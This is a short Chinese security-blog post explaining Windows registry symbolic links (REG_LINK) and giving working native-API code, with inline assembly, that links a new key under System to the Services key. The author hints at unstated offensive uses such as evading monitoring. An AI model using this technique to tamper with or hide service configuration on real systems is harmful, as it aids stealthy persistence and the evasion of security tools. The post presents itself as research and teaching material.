作者:MJ0011
NTFS有HARDLINK~ 注册表也有个REG_LINK类型
顾名思义,就是可以把一个真实存在的注册表映射成一个symbolic link类似的注册表~
实 际过程是使用ZwCreateKey创建一个REG_OPTION_CREATE_LINK的注册表键,然后给其设置SymbolicLinkValue 键值,DATA即是要创建连接的注册表名,然后就能自动link上了,操作被LINK的注册表项同操作原注册表项实质上一样,系统的SAM ControlSet等映射都是通过这个实现的~
原理说了.下[面附上创建注册表Services键到注册表System/123的LINK的代码,能干什么就不用我说了吧~~
HMODULE hlib = LoadLibrary("ntdll.dll"); PVOID p = GetProcAddress(hlib , "RtlInitUnicodeString"); PVOID p2 = GetProcAddress(hlib , "ZwCreateKey"); PVOID p3 = GetProcAddress(hlib , "ZwSetValueKey"); WCHAR KeyName1[] = L"//Registry//Machine//System//123"; LPCWSTR pKeyName1 = KeyName1 ; UNICODE_STRING KeyString ; OBJECT_ATTRIBUTES oba ; __asm { push pKeyName1 lea eax , KeyString push eax call p } InitializeObjectAttributes(&oba , &KeyString , 0X40 , 0 ,0 ); ULONG dispostion ; HANDLE linkhandle ; LONG stat ; __asm{ lea eax , dispostion push eax push 3 push 0 push 0 lea eax , oba push eax push 0x22 lea eax , linkhandle push eax call p2 mov stat ,eax } CHAR xxx[100]; sprintf(xxx , "create stat = %08x/n" , stat); MessageBox(xxx , 0 , 0 ); WCHAR KeyName2[] = L"//Registry//Machine//System//CurrentControlSet//Services"; PVOID pdata = KeyName2 ; ULONG len = wcslen(KeyName2) * sizeof(WCHAR); WCHAR ValueName[]= L"SymbolicLinkValue"; LPCWSTR pvaluename = ValueName ; UNICODE_STRING valuestring ; __asm { push pvaluename lea eax , valuestring push eax call p } __asm{ push len push pdata push 6 push 0 lea eax , valuestring push eax push linkhandle call p3 mov stat ,eax } sprintf(xxx , "setvalue stat = %08x/n" , stat); MessageBox(xxx , 0 , 0 );
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论